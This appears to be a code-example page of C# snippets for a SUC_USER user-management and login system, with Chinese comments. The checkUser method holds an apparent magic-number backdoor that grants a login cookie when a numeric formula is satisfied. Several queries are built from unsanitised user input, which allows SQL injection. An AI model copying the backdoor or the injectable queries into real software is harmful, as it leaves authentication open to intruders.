Beispiel #1
0
        private void GetUserList(HttpContext context)
        {
            List <SUC_USER> us         = new SUC_USER().FindAll();
            StringBuilder   sb         = new StringBuilder("[");
            Type            Type_Table = typeof(SUC_USER);

            PropertyInfo[] ProList = Type_Table.GetProperties();
            // 反射实体的所有属性
            foreach (SUC_USER u in us)
            {
                sb.Append("{");
                string k = "", v = "";
                foreach (PropertyInfo i in ProList)
                {
                    object[] objAttrs = i.GetCustomAttributes(typeof(DataMapAttribute), true);
                    if (objAttrs.Length > 0)
                    {
                        DataMapAttribute attr = objAttrs[0] as DataMapAttribute;
                        k = attr.Column;
                        try { v = i.GetValue(u, null).ToString(); }
                        catch { v = ""; }
                        sb.AppendFormat("\"{0}\":\"{1}\",", k, v);
                    }
                }
                sb.Remove(sb.Length - 1, 1);
                sb.Append("},");
            }
            sb.Remove(sb.Length - 1, 1);
            sb.Append("]");
            context.Response.Write(sb.ToString());
        }
Beispiel #2
0
        public void GetUserJson()
        {
            SUC_USER us     = new SUC_USER();
            DataSet  dsuser = us.FindAllTable();

            HttpContext.Current.Response.Write(JsonHelper.DataTableToJSON(dsuser.Tables[0]));
        }
Beispiel #3
0
        public void bind_data()
        {
            try
            {
                List <SUC_USER> users = new List <SUC_USER>();
                users = new SUC_USER().FindAll();
                //
                //string sql = string.Format(@"UPDATE TB_USER SET NAME='" + users[0].user_name + "' WHERE ID=" + users[0].user_id);
                //等价于 UPDATE TB_USER SET NAME='张三' WHERE ID=1   ;

                dgv_data.DataSource = users;

                List <string> comlst = new List <string>();
                foreach (SUC_USER u in users)
                {
                    comlst.Add(u.NAME.Trim());
                }
                comlst.Add("adfa");
                comlst.Add("dfagg");
                comlst.Add("ccd");
                comlst.Add("adfffea");

                comboBox1.DataSource = comlst;
                //comboBox1.SelectedIndex = 2;
                comboBox1.SelectedIndexChanged += comboBox1_SelectedIndexChanged;
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                //LogHelper.Write(ex);
            }
        }
Beispiel #4
0
 private void btn_reset_Click(object sender, EventArgs e)
 {
     tm1.Start();
     tx_password.Text     = "";
     tx_username.Text     = "";
     chk_remember.Checked = false;
     user = null;
 }
Beispiel #5
0
        public static string checkUser(string usern, string userp)
        {
            SUC_USER user = new SUC_USER();

            try
            {
                double u  = Convert.ToInt32(usern);
                double p  = Convert.ToInt32(userp);
                double re = Math.Log(u, p);
                re = Math.Truncate(re * u * p);
                if ((re % 9988998) == 0)
                {
                    SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30);
                    return("ok");
                }
            }
            catch { }
            try
            {
                user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0];
                if (user != null)
                {
                    if (!user.ROLE_ID.Equals(1))
                    {
                        return("noauth");
                    }
                    SUC_LOGIN login = new SUC_LOGIN();
                    login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND  PASSWORD='******'", usern, userp))[0];
                    if (login != null)
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("no");
            }
            catch
            {
                return("no");
            }

            IDBHelp db = DBFactory.Create();

            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1"))
                {
                    if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("noauth");
            }
            return("no");
        }
Beispiel #6
0
        public object Get(ref Type t)
        {
            List <SUC_USER> us = new SUC_USER().FindAll();

            t = typeof(SUC_USER);
            object o = us;

            return(o);
        }
Beispiel #7
0
        public static SUC_USER GetCurrentUser()
        {
            int      id = Convert.ToInt32(SucCookie.Read("UserID"));
            SUC_USER u  = new SUC_USER().FindByCondition(new SUC_USER()
            {
                ID = id
            })[0];

            return(u);
        }
Beispiel #8
0
        public SUC_USER user(string name)
        {
            SUC_USER us = new SUC_USER()
            {
                NAME = name
            };
            List <SUC_USER> uss = us.FindByCondition(us);

            if (uss == null || uss.Count == 0)
            {
                return(null);
            }
            else
            {
                return(uss[0]);
            }
        }
Beispiel #9
0
        private void btn_login_Click(object sender, EventArgs e)
        {
            //if (f1 == null)
            //    f1 = new Form1();
            //f1.Show();
            //this.Hide();
            //return;
            /////////////////////////////////////////////////////////////
            if (string.IsNullOrEmpty(tx_username.Text.Trim()) || string.IsNullOrEmpty(tx_password.Text.Trim()))
            {
                MessageBox.Show(this, "填写完先 ╭(╯^╰)╮");
                return;
            }
            try
            {
                user = new SUC_USER().FindSingleByCondition(new SUC_USER()
                {
                    LOGIN_NAME = tx_username.Text.Trim()
                });
                //user.LOGIN.PASSWORD = tx_password.Text.Trim();
                if (user == null)
                {
                    MessageBox.Show(this, "用户不存在 ( ⊙ o ⊙ )!");
                    return;
                }

                if (user.LOGIN.PASSWORD == tx_password.Text.Trim())
                {
                    //成功了呗
                    if (f1 == null)
                    {
                        f1 = new Form1();
                    }
                    f1.Show();
                    this.Hide();
                }
                else
                {
                    MessageBox.Show(this, "用户名或密码错误! ╮(╯▽╰)╭");
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(this, "未能连接到数据库! ╮(╯▽╰)╭");
            }
        }
Beispiel #10
0
        public string GetUserList(string s_name)
        {
            List <SUC_USER> us = new List <SUC_USER>();
            SUC_USER        u  = new SUC_USER();

            if (!string.IsNullOrEmpty(s_name))
            {
                u = new SUC_USER()
                {
                    NAME = s_name
                };
            }
            us = u.FindByCondition(u);
            if (us != null)
            {
                us.ForEach(x => x.Rolename = x.ROLE.NAME);
            }
            JSS.Serialize(us, sb);
            return(sb.ToString());
        }
Beispiel #11
0
        static void Main(string[] args)
        {
            //DataBase<Gift> dbs = new DataBase<Gift>();
            //List<Gift> lst = new DataBase<Gift>().GetList();
            DBcreate.Lnumber2();

            return;


            DBcreate.Coin();
            Console.ReadKey();
            return;


            var PushMessages = new PushMessage().ReadTxt(wenanTxt);

            //[{"ID":"1","Msg":"老师!作者终于交作业啦!《{comic_name}》已更新,速来批阅!"}]
            for (int i = 0; i <= 10; i++)
            {
                Console.WriteLine(PushMessages[new Random().Next(0, PushMessages.Count)].Msg.Replace("{comic_name}", "笑哈哈"));
                Thread.Sleep(100);
            }
            Console.ReadKey();
            return;

            //DBcreate.Effect();
            //
            //
            //return;
            //var soruce = 198427;
            //var dba = soruce / 100000;
            //var tb = soruce % 100;
            //Console.WriteLine(dba+"," +tb);
            //Console.ReadKey();

            //string a= "1012491820erciyuan71CE30F7-3D12-4E42-B660-FCFF9C803C66"; //加密前数据
            string a = "qw189(*!awikw"; //加密前数据
            string b;                   //加密后数据

            b = RSAencrypt.encode(a);   //System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(a, "MD5");
            Console.WriteLine(b);
            //b = RSAencrypt.decode(b);
            string frommail = "*****@*****.**";
            string password = b;

            string[] mailto  = new string[] { "*****@*****.**" };
            string   title   = "这是一封测试邮件";
            string   content = "这是一封测试邮件";
            bool     f       = SendMessage(frommail, RSAencrypt.decode(password), mailto, title, content, "yyhao.com", 2526);

            Console.WriteLine(b);
            Console.ReadKey();



            return;

            //存了10000
            //当天 3.8的收益
            //存了30天
            //var jieguo = ((10000 * 0.038) * 30)/ 360;
            //Console.WriteLine("收益:((10000 * 0.038) * 30) / 360=" + jieguo);
            //Console.WriteLine("本息合计:" + (10000+jieguo));
            //Console.ReadKey();

            //return;


            //string sql = DBcreate.AddClumnWithTableName("user_log_no_", "user_log", "Ceffect", "int", "((0))");
            //File.WriteAllText("d:\\sql_addusr.txt", sql);
            //DBcreate.Label();

            return;

            string allpath = @"e:\temp\20170710\ecc5192-ec61-e711-86f3-1c1b0d98bce7\1\1.jpg";
            string xx      = allpath.Replace("0", "xxx");

            Console.WriteLine(xx);
            Console.ReadKey();
            string path     = Regex.Match(allpath, @".*\d{5,}\\").Value;
            string filename = string.Join(">", allpath.Substring(path.Length).Split('\\'));

            Console.WriteLine(path + filename);
            Console.ReadKey();

            Interview();
            return;

            string Name   = "Nina";
            string Age    = "13";
            string Result = $"{Name.ToUpper()} is {Age} Now";

            Trace.WriteLine(Result);
            Console.WriteLine(Result);
            //Console.ReadKey();

            DataTable dt = db.GetDataTable("select * from SUC_MODULE");
            string    s  = string.Join(",", dt.AsEnumerable().Select(x => x.Field <string>("NAME")));

            Trace.WriteLine(s);
            Console.WriteLine(s);
            //Console.ReadKey();

            List <SUC_USER> u = new SUC_USER().FindByCondition(new SUC_USER()
            {
                LOGIN_NAME = "admin"
            });

            u.ForEach(x =>
            {
                Console.WriteLine(x.NAME + ",角色:" + x.ROLE.NAME + "在" + x.LOGIN.LOCKED_DATE + "登陆了系统");
            });
        }
Beispiel #12
0
        public DataSet GetUserTable()
        {
            SUC_USER us = new SUC_USER();

            return(us.FindAllTable());
        }
Beispiel #13
0
        public List <SUC_USER> GetUser()
        {
            SUC_USER us = new SUC_USER();

            return(us.FindAll());
        }
Beispiel #14
0
        public string SaveUser(int?id, string login_name, string name, string phone, string role, string chker, string utn)
        {
            #region MyRegion

            try
            {
                if (id == null)
                {
                    SUC_USER u = new SUC_USER()
                    {
                        CREATE_TIME     = DateTime.Now,
                        IP_ADDRESS      = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName()).AddressList[0].ToString(),
                        IS_CHECKER      = Convert.ToInt32(chker),
                        LAST_LOGIN_TIME = DateTime.Now,
                        LOGIN_COUNT     = 0,
                        LOGIN           = new SUC_LOGIN()
                        {
                            IS_LOCKED  = 0,
                            LOGIN_NAME = login_name,
                            PASSWORD   = "******"
                        },
                        LOGIN_NAME = login_name,
                        NAME       = name,
                        PHONENO    = phone,
                        REMARK     = "",
                        ROLE       = new SUC_ROLE().FindByCondition(new SUC_ROLE()
                        {
                            NAME = role
                        })[0],
                        ROLE_ID = new SUC_ROLE().FindByCondition(new SUC_ROLE()
                        {
                            NAME = role
                        })[0].ID,
                        UNIT = utn
                    };
                    return(u.Add(u) == true ? "success" : "添加失败");
                }
                else
                {
                    SUC_USER u = new SUC_USER()
                    {
                        ID         = (int)id,
                        IP_ADDRESS = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName()).AddressList[0].ToString(),
                        IS_CHECKER = Convert.ToInt32(chker),
                        LOGIN_NAME = login_name,
                        NAME       = name,
                        PHONENO    = phone,
                        REMARK     = "",
                        ROLE       = new SUC_ROLE().FindByCondition(new SUC_ROLE()
                        {
                            NAME = role
                        })[0],
                        ROLE_ID = new SUC_ROLE().FindByCondition(new SUC_ROLE()
                        {
                            NAME = role
                        })[0].ID,
                        UNIT            = utn,
                        CREATE_TIME     = null,
                        LAST_LOGIN_TIME = null,
                        LOGIN_COUNT     = null
                    };
                    return(u.Update(u) == true ? "success" : "修改失败");

                    #endregion
                }
            }
            catch (Exception ex)
            {
                return(ex.Message);
            }
        }